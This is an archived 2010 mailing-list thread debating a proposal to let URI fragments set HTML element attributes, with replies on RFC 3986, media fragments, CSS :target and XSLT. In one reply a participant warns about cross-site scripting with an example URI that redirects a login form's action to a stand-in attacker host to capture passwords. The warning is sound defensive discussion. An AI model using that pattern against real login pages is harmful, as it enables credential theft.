is it possible to handle an XML/HTML elements attribute via the URI?

Previous Topic Next Topic
 
classic Classic list List threaded Threaded
15 messages Options
Reply | Threaded
Open this post in threaded view
|

is it possible to handle an XML/HTML elements attribute via the URI?

mattmill30 (Bugzilla)
Hi,

I'm wondering whether its possible to handle a page element, via the URI?

I'd like to handle an elements attribute, based on its ID.

Like an expansion of the #ID URI feature.

I'm hoping for something like:

http://domain/page.html#ID[dir]="ltr"

In the example above, i would want to add the "dir" attribute, with a value of "ltr", to the element whose id is "ID"

If its not currently possible, could it be considered for a future standard, or an extension to the current URI standard.

Thanks,

Matthew Millar
Reply | Threaded
Open this post in threaded view
|

RE: is it possible to handle an XML/HTML elements attribute via the URI?

Cheney, Austin

Matthew,

 

URI is only an addressing means.  In URI “#” is a hierarchy character.

http://tools.ietf.org/html/rfc3986#section-1.2.3

 

Your question appears to be more focused on the processing of the HTTP URI scheme.  Unfortunately there is not an RFC dedicated to the HTTP URI scheme as RFC2616 is more concerned with the application processing requirements of HTTP.  If you need this functionality for proprietary use you can create a privately used URI scheme that does anything your applications are willing to consume.

 

If you need to address specific functionality for public consumption across the web I would suggest you reexamine your example as it is not compatible with HTML.  In HTTP URI scheme the “#” is a pointer to a section denoted with an id value and in HTML the id is an attribute.  In HTML attributes do not have attributes of their own.  That said, your example is unclear.  Please specify your example next time with code whether HTML or some other syntax.

 

Thanks,

 

Austin Cheney, Travelocity User Experience

CISSP TS/SCI

 

From: [hidden email] [mailto:[hidden email]] On Behalf Of Matthew Millar
Sent: Wednesday, October 27, 2010 11:22 AM
To: [hidden email]
Subject: is it possible to handle an XML/HTML elements attribute via the URI?

 

Hi,

I'm wondering whether its possible to handle a page element, via the URI?

I'd like to handle an elements attribute, based on its ID.

Like an expansion of the #ID URI feature.

I'm hoping for something like:

http://domain/page.html#ID[dir]="ltr"

In the example above, i would want to add the "dir" attribute, with a value of "ltr", to the element whose id is "ID"

If its not currently possible, could it be considered for a future standard, or an extension to the current URI standard.

Thanks,

Matthew Millar

Reply | Threaded
Open this post in threaded view
|

Re: is it possible to handle an XML/HTML elements attribute via the URI?

Silvia Pfeiffer
In reply to this post by mattmill30 (Bugzilla)
On Thu, Oct 28, 2010 at 3:21 AM, Matthew Millar <[hidden email]> wrote:

> Hi,
>
> I'm wondering whether its possible to handle a page element, via the URI?
>
> I'd like to handle an elements attribute, based on its ID.
>
> Like an expansion of the #ID URI feature.
>
> I'm hoping for something like:
>
> http://domain/page.html#ID[dir]="ltr"
>
> In the example above, i would want to add the "dir" attribute, with a value
> of "ltr", to the element whose id is "ID"
>
> If its not currently possible, could it be considered for a future standard,
> or an extension to the current URI standard.
>
> Thanks,
>
> Matthew Millar
>


I'm thinking about a similar thing for media fragment URIs[1] where it
would be nice to be able to say in the URI which video on the page
should be displayed from what time offset or what chapter. Something
like:

http://example.com/page.html#video[0]&t=50
http://example.com/page.html#video[1]&id=chapter-3

XPointer[2] allows for such addressing as you are proposing on xml
documents, e.g. http://domain/page.html#xpointer(id('xyz')) . However,
it doesn't provide means to change the value of attributes - and I am
not sure that should be the aim of standard URIs. It would be
something that you'd need to do in your application, so use a query
parameter instead, e.g. http://domain/page.html?ID[dir]="ltr", and
process it in your server app.

Cheers,
Silvia.


[1] http://www.w3.org/TR/media-frags/
[2] http://www.w3.org/TR/xptr-framework/

Reply | Threaded
Open this post in threaded view
|

RE: is it possible to handle an XML/HTML elements attribute via the URI?

Cheney, Austin
The media-frags draft looks rather scary.  In the context of the web it is a great idea and incredibly useful for the media propositions in HTML5.  URI, however, is not a property of the web.  URI is protocol agnostic and intentionally so.  This draft's language appears to be an extension to URI and not an extension to HTTP URI scheme.  In order for that specification to not be a horrendous technology collision outside of HTTP it must limit do one of two things:

1) Extend URI agnostically
2) Limit itself to an extension of HTTP URI scheme

The second option would be the safest path as it represents a more narrow testing and compatibility objective.  The problems, though, not addressed in the draft is that there is no documented specification for the HTTP URI scheme specifically and secondly this document does not address its relation to HTTP versus HTTP's relationship to URI.  Understanding relationship distinctions in this space is important for intentionally specifying this document's role concurrent to prior existing technology so as to establish degrees of separation.

In example how does the draft address document processing using the file URI scheme for local media processing or such processing an undefined presumption?  Additionally, would such an extension not be equally beneficial for selectively address media specifics via executing a query against data repositories using any number of proprietary URI schemes?  Furthermore consider the difference between a mailto URI scheme and a SMTP URI scheme.  I have thought out the SMTP scheme, but not written it.  A mailto scheme is a functional extension for addressing email from documents intended for delivery over HTTP, but can be used equally outside HTTP.  The intention of the mailto scheme is for authoring a message with intention for transfer over SMTP, but it is not a method of addressability as is the case for most other URI schemes.  If a SMTP URI scheme were written to allow addressing of data transferred using the SMTP protocol it would likely have a function similar to HTTP.  This would be beneficial since such a scheme may provided a method to universally point to content in email repositories regardless of proximity to such repositories.  That said, if the scheme is written as a pointer to content or documents residing in email repositories it would be functionally similar to the HTTP URI scheme and equally benefit from any extensions to that scheme.

Consider this example:
smtp://[hidden email]/inbox/uri-request/2009/april/subject="draft action pending"#section[3],type="video",query="cheney",action="resolve"

In that example I could point to a location in a specific email repository that references a specific email and document section requesting a query of potential media assets stored there.  Additionally, I could submit an action to occur that changes the response from the distant location if an ok transmission code is returned.  In this context it is import to understand that URI schemes define addressing syntax methods in conformance to the URI specification and do not necessarily specify a mode of transmission, as in an application layer protocol, by which that addressing communicates to the distant end.  In this sense a proposed SMTP URI scheme could use HTTP to engage the transmission, there by having a RFC 2616 data header instead of a RFC 5321 data header, but it is not the same as HTTP since it would propose a definition for syntax that may be entirely incompatible with HTTP.

It is entirely essential that future compatibility issues be addressed because even if something like a SMTP URI scheme does not yet exist the URI definition does currently exist and any scheme dependent extension of URI that is not defined with such a limitation would violate the intent of RFC 3896..

Last, but not least, if that draft is not HTTP dependent is there any intention for the future compatibility with RFC 3897?  HTTP is not compatible with RFC 3987 and the intention to establish that compatibility is not clear, and so it is presumed that HTTP dependent artifacts have no intention of achieving RFC 3987 compatibility.

Thanks,

Austin Cheney, Travelocity User Experience
CISSP TS/SCI


-----Original Message-----
From: [hidden email] [mailto:[hidden email]] On Behalf Of Silvia Pfeiffer
Sent: Wednesday, October 27, 2010 4:13 PM
To: Matthew Millar
Cc: [hidden email]
Subject: Re: is it possible to handle an XML/HTML elements attribute via the URI?

On Thu, Oct 28, 2010 at 3:21 AM, Matthew Millar <[hidden email]> wrote:

> Hi,
>
> I'm wondering whether its possible to handle a page element, via the URI?
>
> I'd like to handle an elements attribute, based on its ID.
>
> Like an expansion of the #ID URI feature.
>
> I'm hoping for something like:
>
> http://domain/page.html#ID[dir]="ltr"
>
> In the example above, i would want to add the "dir" attribute, with a value
> of "ltr", to the element whose id is "ID"
>
> If its not currently possible, could it be considered for a future standard,
> or an extension to the current URI standard.
>
> Thanks,
>
> Matthew Millar
>


I'm thinking about a similar thing for media fragment URIs[1] where it
would be nice to be able to say in the URI which video on the page
should be displayed from what time offset or what chapter. Something
like:

http://example.com/page.html#video[0]&t=50
http://example.com/page.html#video[1]&id=chapter-3

XPointer[2] allows for such addressing as you are proposing on xml
documents, e.g. http://domain/page.html#xpointer(id('xyz')) . However,
it doesn't provide means to change the value of attributes - and I am
not sure that should be the aim of standard URIs. It would be
something that you'd need to do in your application, so use a query
parameter instead, e.g. http://domain/page.html?ID[dir]="ltr", and
process it in your server app.

Cheers,
Silvia.


[1] http://www.w3.org/TR/media-frags/
[2] http://www.w3.org/TR/xptr-framework/



Reply | Threaded
Open this post in threaded view
|

Re: is it possible to handle an XML/HTML elements attribute via the URI?

Silvia Pfeiffer
Hi Austin,

You are completely correct in that the spec as it stands right now
primarily considers the use of media fragments for HTTP URIs. However,
there has been work in the group to apply it to RTSP URIs and to FILE
URIs. It is much easier for those since byte range requests are a lot
easier to handle there. It is difficult to see whether there is a use
case to go beyond these protocols with media URIs.

Since according to RFC 3986 the specification of the meaning of
fragments is restricted to media types, that may be sufficient.

It would indeed be interesting to introduce a more generic structuring
of fragment specifications along the line of name-value pairs
concatenated through "&" , or in your example through ",". That wasn't
the aim of what the media fragment URI working group was set up for,
but their outcome can be a motivation to make this larger step here,
if we can.

Finally about your concern that media fragment URI is not compatible
with RFC 3987 - can you explain what part of the spec makes it
incompatible with RFC 3987 and how that compatibility may possibly be
achieved? I believe the working group may lack expertise in this area
and any input / suggestions would be very welcome.

Best Regards,
Silvia.


On Thu, Oct 28, 2010 at 9:13 AM, Cheney, Austin
<[hidden email]> wrote:

> The media-frags draft looks rather scary.  In the context of the web it is a great idea and incredibly useful for the media propositions in HTML5.  URI, however, is not a property of the web.  URI is protocol agnostic and intentionally so.  This draft's language appears to be an extension to URI and not an extension to HTTP URI scheme.  In order for that specification to not be a horrendous technology collision outside of HTTP it must limit do one of two things:
>
> 1) Extend URI agnostically
> 2) Limit itself to an extension of HTTP URI scheme
>
> The second option would be the safest path as it represents a more narrow testing and compatibility objective.  The problems, though, not addressed in the draft is that there is no documented specification for the HTTP URI scheme specifically and secondly this document does not address its relation to HTTP versus HTTP's relationship to URI.  Understanding relationship distinctions in this space is important for intentionally specifying this document's role concurrent to prior existing technology so as to establish degrees of separation.
>
> In example how does the draft address document processing using the file URI scheme for local media processing or such processing an undefined presumption?  Additionally, would such an extension not be equally beneficial for selectively address media specifics via executing a query against data repositories using any number of proprietary URI schemes?  Furthermore consider the difference between a mailto URI scheme and a SMTP URI scheme.  I have thought out the SMTP scheme, but not written it.  A mailto scheme is a functional extension for addressing email from documents intended for delivery over HTTP, but can be used equally outside HTTP.  The intention of the mailto scheme is for authoring a message with intention for transfer over SMTP, but it is not a method of addressability as is the case for most other URI schemes.  If a SMTP URI scheme were written to allow addressing of data transferred using the SMTP protocol it would likely have a function similar to HTTP.  This would be beneficial since such a scheme may provided a method to universally point to content in email repositories regardless of proximity to such repositories.  That said, if the scheme is written as a pointer to content or documents residing in email repositories it would be functionally similar to the HTTP URI scheme and equally benefit from any extensions to that scheme.
>
> Consider this example:
> smtp://[hidden email]/inbox/uri-request/2009/april/subject="draft action pending"#section[3],type="video",query="cheney",action="resolve"
>
> In that example I could point to a location in a specific email repository that references a specific email and document section requesting a query of potential media assets stored there.  Additionally, I could submit an action to occur that changes the response from the distant location if an ok transmission code is returned.  In this context it is import to understand that URI schemes define addressing syntax methods in conformance to the URI specification and do not necessarily specify a mode of transmission, as in an application layer protocol, by which that addressing communicates to the distant end.  In this sense a proposed SMTP URI scheme could use HTTP to engage the transmission, there by having a RFC 2616 data header instead of a RFC 5321 data header, but it is not the same as HTTP since it would propose a definition for syntax that may be entirely incompatible with HTTP.
>
> It is entirely essential that future compatibility issues be addressed because even if something like a SMTP URI scheme does not yet exist the URI definition does currently exist and any scheme dependent extension of URI that is not defined with such a limitation would violate the intent of RFC 3896.
>
> Last, but not least, if that draft is not HTTP dependent is there any intention for the future compatibility with RFC 3897?  HTTP is not compatible with RFC 3987 and the intention to establish that compatibility is not clear, and so it is presumed that HTTP dependent artifacts have no intention of achieving RFC 3987 compatibility.
>
> Thanks,
>
> Austin Cheney, Travelocity User Experience
> CISSP TS/SCI
>
>
> -----Original Message-----
> From: [hidden email] [mailto:[hidden email]] On Behalf Of Silvia Pfeiffer
> Sent: Wednesday, October 27, 2010 4:13 PM
> To: Matthew Millar
> Cc: [hidden email]
> Subject: Re: is it possible to handle an XML/HTML elements attribute via the URI?
>
> On Thu, Oct 28, 2010 at 3:21 AM, Matthew Millar <[hidden email]> wrote:
>> Hi,
>>
>> I'm wondering whether its possible to handle a page element, via the URI?
>>
>> I'd like to handle an elements attribute, based on its ID.
>>
>> Like an expansion of the #ID URI feature.
>>
>> I'm hoping for something like:
>>
>> http://domain/page.html#ID[dir]="ltr"
>>
>> In the example above, i would want to add the "dir" attribute, with a value
>> of "ltr", to the element whose id is "ID"
>>
>> If its not currently possible, could it be considered for a future standard,
>> or an extension to the current URI standard.
>>
>> Thanks,
>>
>> Matthew Millar
>>
>
>
> I'm thinking about a similar thing for media fragment URIs[1] where it
> would be nice to be able to say in the URI which video on the page
> should be displayed from what time offset or what chapter. Something
> like:
>
> http://example.com/page.html#video[0]&t=50
> http://example.com/page.html#video[1]&id=chapter-3
>
> XPointer[2] allows for such addressing as you are proposing on xml
> documents, e.g. http://domain/page.html#xpointer(id('xyz')) . However,
> it doesn't provide means to change the value of attributes - and I am
> not sure that should be the aim of standard URIs. It would be
> something that you'd need to do in your application, so use a query
> parameter instead, e.g. http://domain/page.html?ID[dir]="ltr", and
> process it in your server app.
>
> Cheers,
> Silvia.
>
>
> [1] http://www.w3.org/TR/media-frags/
> [2] http://www.w3.org/TR/xptr-framework/
>
>

Reply | Threaded
Open this post in threaded view
|

RE: is it possible to handle an XML/HTML elements attribute via the URI?

mattmill30 (Bugzilla)
In reply to this post by Cheney, Austin
Hi Austin,

Thanks for the reply.

The example I was giving, was how to change the direction of a specific paragraphs text, by specifying the paragraphs ID, aswell as the attribute you want to set/edit (dir) and the value you want to assign it ("ltr").

See http://www.w3schools.com/tags/tag_p.asp - dir is a standard paragraph attribute, and ltr is an accepted value for the dir attribute.

Essentially, I was hoping it would be possible to change an elements attributes, via the URI.

This would be extremely useful, if you wanted to highlight a particular section of a page, or want a particular element to render/behave differently.

For example, if could be used in conjunction with an embed element, for setting the quality attribute:

http://domain/video.html#embed_element[quality]="high"

Hope that makes more sense.

Thanks,

Matthew Millar


From: [hidden email]
To: [hidden email]; [hidden email]
Date: Wed, 27 Oct 2010 11:37:30 -0500
Subject: RE: is it possible to handle an XML/HTML elements attribute via the URI?

Matthew,

 

URI is only an addressing means.  In URI “#” is a hierarchy character.

http://tools.ietf.org/html/rfc3986#section-1.2.3

 

Your question appears to be more focused on the processing of the HTTP URI scheme.  Unfortunately there is not an RFC dedicated to the HTTP URI scheme as RFC2616 is more concerned with the application processing requirements of HTTP.  If you need this functionality for proprietary use you can create a privately used URI scheme that does anything your applications are willing to consume.

 

If you need to address specific functionality for public consumption across the web I would suggest you reexamine your example as it is not compatible with HTML.  In HTTP URI scheme the “#” is a pointer to a section denoted with an id value and in HTML the id is an attribute.  In HTML attributes do not have attributes of their own.  That said, your example is unclear.  Please specify your example next time with code whether HTML or some other syntax.

 

Thanks,

 

Austin Cheney, Travelocity User Experience

CISSP TS/SCI

 

From: [hidden email] [mailto:[hidden email]] On Behalf Of Matthew Millar
Sent: Wednesday, October 27, 2010 11:22 AM
To: [hidden email]
Subject: is it possible to handle an XML/HTML elements attribute via the URI?

 

Hi,

I'm wondering whether its possible to handle a page element, via the URI?

I'd like to handle an elements attribute, based on its ID.

Like an expansion of the #ID URI feature.

I'm hoping for something like:

http://domain/page.html#ID[dir]="ltr"

In the example above, i would want to add the "dir" attribute, with a value of "ltr", to the element whose id is "ID"

If its not currently possible, could it be considered for a future standard, or an extension to the current URI standard.

Thanks,

Matthew Millar

Reply | Threaded
Open this post in threaded view
|

Re: is it possible to handle an XML/HTML elements attribute via the URI?

Julian Reschke
On 28.10.2010 02:32, Matthew Millar wrote:

> Hi Austin,
>
> Thanks for the reply.
>
> The example I was giving, was how to change the direction of a specific
> paragraphs text, by specifying the paragraphs ID, aswell as the
> attribute you want to set/edit (dir) and the value you want to assign it
> ("ltr").
>
> See http://www.w3schools.com/tags/tag_p.asp - dir is a standard
> paragraph attribute, and ltr is an accepted value for the dir attribute.
>
> Essentially, I was hoping it would be possible to change an elements
> attributes, via the URI.
>
> This would be extremely useful, if you wanted to highlight a particular
> section of a page, or want a particular element to render/behave
> differently.
>
> For example, if could be used in conjunction with an embed element, for
> setting the quality attribute:
>
> http://domain/video.html#embed_element[quality]="high"
>
> Hope that makes more sense.
> ...

URIs + fragments are for addressing, not changing things.

If you want to highlight a part of an HTML page based on the fragment
identifier, this seems to be a *styling* problem.

See <http://www.w3.org/TR/css3-selectors/#target-pseudo>.

Best regards, Julian

Reply | Threaded
Open this post in threaded view
|

Re: is it possible to handle an XML/HTML elements attribute via the URI?

Martin J. Dürst
In reply to this post by mattmill30 (Bugzilla)
Besides what others have said, I think you should look at XSLT. XSLT is
a way of transforming one document into another, which makes it easy to
add attributes,...

Regards,   Martin.

On 2010/10/28 1:21, Matthew Millar wrote:

>
> Hi,
>
> I'm wondering whether its possible to handle a page element, via the URI?
>
> I'd like to handle an elements attribute, based on its ID.
>
> Like an expansion of the #ID URI feature.
>
> I'm hoping for something like:
>
> http://domain/page.html#ID[dir]="ltr"
>
> In the example above, i would want to add the "dir" attribute, with a value of "ltr", to the element whose id is "ID"
>
> If its not currently possible, could it be considered for a future standard, or an extension to the current URI standard.
>
> Thanks,
>
> Matthew Millar
>    

--
#-# Martin J. Dürst, Professor, Aoyama Gakuin University
#-# http://www.sw.it.aoyama.ac.jp   mailto:[hidden email]

Reply | Threaded
Open this post in threaded view
|

Re: is it possible to handle an XML/HTML elements attribute via the URI?

Claus Färber-6
In reply to this post by mattmill30 (Bugzilla)
On 2010-10-28 02:32:41 +0200, Matthew Millar said:
> This would be extremely useful, if you wanted to highlight a particular
> section of a page, or want a particular element to render/behave
> differently.

Which, unfortunately, makes it a perfect attack vector for cross-site
scripting (XSS).

Claus




Reply | Threaded
Open this post in threaded view
|

RE: is it possible to handle an XML/HTML elements attribute via the URI?

mattmill30 (Bugzilla)
Hi Claus,

I haven't got alot of XSS experience, so please correct me if I'm mistaken.

As far as i'm aware, XSS comes into play, when a website or perhaps a server has malicious code or handles a request badly, to the extent that some information gets passed to another website or server, i.e. javascript creating a call to a remote database and recording data from the local machine.

I think this feature could be standardised so it wasn't an XSS threat, however it would have to be strictly specified as to what attributes could be controlled, or perhaps what elements could be handled, i.e. only 100% benign HTML, and CSS.

Thanks,

Matthew Millar

> To: [hidden email]
> From: [hidden email]
> Date: Sat, 30 Oct 2010 18:20:53 +0200
> Subject: Re: is it possible to handle an XML/HTML elements attribute via the URI?
>
> On 2010-10-28 02:32:41 +0200, Matthew Millar said:
> > This would be extremely useful, if you wanted to highlight a particular
> > section of a page, or want a particular element to render/behave
> > differently.
>
> Which, unfortunately, makes it a perfect attack vector for cross-site
> scripting (XSS).
>
> Claus
>
>
>
>
Reply | Threaded
Open this post in threaded view
|

RE: is it possible to handle an XML/HTML elements attribute via the URI?

mattmill30 (Bugzilla)
In reply to this post by Julian Reschke
Hi Julian,

Thanks for the tip, I've had a look at the target-pseudo, and it seems a really useful feature.

Its not quite what i was getting at, as the second example of an embedded video, is perhaps a better example of the usefulness of my idea.

I apologise if I've mis-understood how a fragment works, i thought it was used to instruct the browser, how to behave (i.e. where to start displaying the visible page from).

I thought this idea, may have been an extension of the fragment feature, as it would be instructing the browser how to behave, but would be useful, for third-parties who want to harmlessly manipulate a page for their own benefit. e.g. changing the quality of video playback.

If the URI isn't the correct place for handling element manipulation (and won't be considered in future developments), could somebody explain in lame-mans terms, why?

Or better yet, could they recommend where i should look/ask for a feature that will allow users to easily, and safely manipulate a web-page to behave in a user tailored manner to the original developers generic design - XSLT perhaps? I'll have to read up about it (Thanks Claus).

Thanks,

Matthew Millar

> Date: Thu, 28 Oct 2010 14:27:41 +0200
> From: [hidden email]
> To: [hidden email]
> CC: [hidden email]; [hidden email]
> Subject: Re: is it possible to handle an XML/HTML elements attribute via the URI?
>
> On 28.10.2010 02:32, Matthew Millar wrote:
> > Hi Austin,
> >
> > Thanks for the reply.
> >
> > The example I was giving, was how to change the direction of a specific
> > paragraphs text, by specifying the paragraphs ID, aswell as the
> > attribute you want to set/edit (dir) and the value you want to assign it
> > ("ltr").
> >
> > See http://www.w3schools.com/tags/tag_p.asp - dir is a standard
> > paragraph attribute, and ltr is an accepted value for the dir attribute.
> >
> > Essentially, I was hoping it would be possible to change an elements
> > attributes, via the URI.
> >
> > This would be extremely useful, if you wanted to highlight a particular
> > section of a page, or want a particular element to render/behave
> > differently.
> >
> > For example, if could be used in conjunction with an embed element, for
> > setting the quality attribute:
> >
> > http://domain/video.html#embed_element[quality]="high"
> >
> > Hope that makes more sense.
> > ...
>
> URIs + fragments are for addressing, not changing things.
>
> If you want to highlight a part of an HTML page based on the fragment
> identifier, this seems to be a *styling* problem.
>
> See <http://www.w3.org/TR/css3-selectors/#target-pseudo>.
>
> Best regards, Julian
>
Reply | Threaded
Open this post in threaded view
|

Re: is it possible to handle an XML/HTML elements attribute via the URI?

Julian Reschke
On 31.10.2010 02:29, Matthew Millar wrote:

> Hi Julian,
>
> Thanks for the tip, I've had a look at the target-pseudo, and it seems a
> really useful feature.
>
> Its not quite what i was getting at, as the second example of an
> embedded video, is perhaps a better example of the usefulness of my idea.
>
> I apologise if I've mis-understood how a fragment works, i thought it
> was used to instruct the browser, how to behave (i.e. where to start
> displaying the visible page from).

That *is* how a fragment works.

> I thought this idea, may have been an extension of the fragment feature,
> as it would be instructing the browser how to behave, but would be
> useful, for third-parties who want to harmlessly manipulate a page for
> their own benefit. e.g. changing the quality of video playback.
>
> If the URI isn't the correct place for handling element manipulation
> (and won't be considered in future developments), could somebody explain
> in lame-mans terms, why?

You're trying to overload URIs with something they haven't been designed
for.

Also: you say "manipulate", "third-party", and "harmless" in one
sentence :-). You'd need to design this in a way so no harm can be done.
That sounds very hard, considering that you want to essentially rewrite
the page.

> Or better yet, could they recommend where i should look/ask for a
> feature that will allow users to easily, and safely manipulate a
> web-page to behave in a user tailored manner to the original developers
> generic design - XSLT perhaps? I'll have to read up about it (Thanks Claus).
>
> Thanks,

When you say "user" you apparently mean "programmer" or "web author".
The average user doesn't understand URIs or HTML.

If you want to change the behavior of sites with modifying the sites,
bookmarklets and browser extensions seem to be what you should be
looking at.

Best regards, Julian


Reply | Threaded
Open this post in threaded view
|

Re: is it possible to handle an XML/HTML elements attribute via the URI?

Michael Hausenblas
 
>> I apologise if I've mis-understood how a fragment works, i thought it
>> was used to instruct the browser, how to behave (i.e. where to start
>> displaying the visible page from).
>
> That *is* how a fragment works.

My 2c:

Discussing the fragment's semantics without taking the representation's
media type into account isn't really helpful (cf also my write-up at [1]).

Cheers,
      Michael

[1] http://www.w3.org/2008/WebVideo/Fragments/wiki/Semantics

--
Dr. Michael Hausenblas
LiDRC - Linked Data Research Centre
DERI - Digital Enterprise Research Institute
NUIG - National University of Ireland, Galway
Ireland, Europe
Tel. +353 91 495730
http://linkeddata.deri.ie/
http://sw-app.org/about.html



> From: Julian Reschke <[hidden email]>
> Date: Sun, 31 Oct 2010 10:38:34 +0100
> To: Matthew Millar <[hidden email]>
> Cc: <[hidden email]>
> Subject: Re: is it possible to handle an XML/HTML elements attribute via the
> URI?
> Resent-From: <[hidden email]>
> Resent-Date: Sun, 31 Oct 2010 09:39:13 +0000
>
> On 31.10.2010 02:29, Matthew Millar wrote:
>> Hi Julian,
>>
>> Thanks for the tip, I've had a look at the target-pseudo, and it seems a
>> really useful feature.
>>
>> Its not quite what i was getting at, as the second example of an
>> embedded video, is perhaps a better example of the usefulness of my idea.
>>
>> I apologise if I've mis-understood how a fragment works, i thought it
>> was used to instruct the browser, how to behave (i.e. where to start
>> displaying the visible page from).
>
> That *is* how a fragment works.
>
>> I thought this idea, may have been an extension of the fragment feature,
>> as it would be instructing the browser how to behave, but would be
>> useful, for third-parties who want to harmlessly manipulate a page for
>> their own benefit. e.g. changing the quality of video playback.
>>
>> If the URI isn't the correct place for handling element manipulation
>> (and won't be considered in future developments), could somebody explain
>> in lame-mans terms, why?
>
> You're trying to overload URIs with something they haven't been designed
> for.
>
> Also: you say "manipulate", "third-party", and "harmless" in one
> sentence :-). You'd need to design this in a way so no harm can be done.
> That sounds very hard, considering that you want to essentially rewrite
> the page.
>
>> Or better yet, could they recommend where i should look/ask for a
>> feature that will allow users to easily, and safely manipulate a
>> web-page to behave in a user tailored manner to the original developers
>> generic design - XSLT perhaps? I'll have to read up about it (Thanks Claus).
>>
>> Thanks,
>
> When you say "user" you apparently mean "programmer" or "web author".
> The average user doesn't understand URIs or HTML.
>
> If you want to change the behavior of sites with modifying the sites,
> bookmarklets and browser extensions seem to be what you should be
> looking at.
>
> Best regards, Julian
>
>


Reply | Threaded
Open this post in threaded view
|

Re: is it possible to handle an XML/HTML elements attribute via the URI?

Claus Färber-6
In reply to this post by mattmill30 (Bugzilla)
On 2010-10-31 01:09:02 +0200, Matthew Millar said:
> I haven't got alot of XSS experience, so please correct me if I'm mistaken.
>
> As far as i'm aware, XSS comes into play, when a website or perhaps a
> server has malicious code or handles a request badly, to the extent
> that some information gets passed to another website or server, i.e.
> javascript creating a call to a remote database and recording data from
> the local machine.

These flaws allow attackers to introduce their own code into foreign webpages.

The problem with this is that both the browser and the user think the
code came from the webpage and are mislead to trust it. For example,
the user might enter their credentials into a form that sends the
password to the attacked instead of the webpage, the browser might
grant a script access to cookies that belong to the webpage, and so on.

Allowing URIs to override parts of the document creates a new way to
introduce foreign code, e.g.:
http://www.example.com/login#login['action']=http://badboy.example.net/givemeyourpassword

I

> think this feature could be standardised so it wasn't an XSS threat,
> however it would have to be strictly specified as to what attributes
> could be controlled, or perhaps what elements could be handled, i.e.
> only 100% benign HTML, and CSS.

Even seemingly harmless elements such as 'dir' may be a problem.
Consider a financial statement that reads "9231" instead of "1239",
obviously coming from the official website of a company.

Claus



Reply | Threaded
Open this post in threaded view
|

RE: is it possible to handle an XML/HTML elements attribute via the URI?

mattmill30 (Bugzilla)


> To: [hidden email]
> From: [hidden email]
> Date: Mon, 1 Nov 2010 18:42:39 +0100
> Subject: Re: is it possible to handle an XML/HTML elements attribute via the URI?
>
> On 2010-10-31 01:09:02 +0200, Matthew Millar said:
> > I haven't got alot of XSS experience, so please correct me if I'm mistaken.
> >
> > As far as i'm aware, XSS comes into play, when a website or perhaps a
> > server has malicious code or handles a request badly, to the extent
> > that some information gets passed to another website or server, i.e.
> > javascript creating a call to a remote database and recording data from
> > the local machine.
>
> These flaws allow attackers to introduce their own code into foreign webpages.
>
> The problem with this is that both the browser and the user think the
> code came from the webpage and are mislead to trust it. For example,
> the user might enter their credentials into a form that sends the
> password to the attacked instead of the webpage, the browser might
> grant a script access to cookies that belong to the webpage, and so on.
>
> Allowing URIs to override parts of the document creates a new way to
> introduce foreign code, e.g.:
> http://www.example.com/login#login['action']=http://badboy.example.net/givemeyourpassword
>
> I
>
> > think this feature could be standardised so it wasn't an XSS threat,
> > however it would have to be strictly specified as to what attributes
> > could be controlled, or perhaps what elements could be handled, i.e.
> > only 100% benign HTML, and CSS.
>
> Even seemingly harmless elements such as 'dir' may be a problem.
> Consider a financial statement that reads "9231" instead of "1239",
> obviously coming from the official website of a company.
>

If this URI feature were used inline with the DTD, then I don't think this would pose a security threat.

This approach would also leave the URI design uncomplicated, and leave the difficult differentiations of fragment controllable elements down to the DTD.

Different DTD's could then specify which elements/attributes can be controlled.

This could be used inline with a DTD providing a new attribute, "controllable=[BOOLEAN]", for safe elements, so web developers can specify whether they want users to be able to control an element via a fragment.

The DTD would have protection built in, to ensure that only 100% benign HTML, and CSS can be controlled, but on top of that, the web developer would have to specify whether they even want an element to be controllable via a fragment.

So in the case of your dir example, yes the DTD might allow the dir to be configured, however the web developer would actually need to allow the element to be controllable in the first place.

It would give web developers alot more power, as well as users; in a similar fashion to javascript. If its used conscientiously, then i believe it would be an asset rather than a hinderance.

> Claus
>
>
>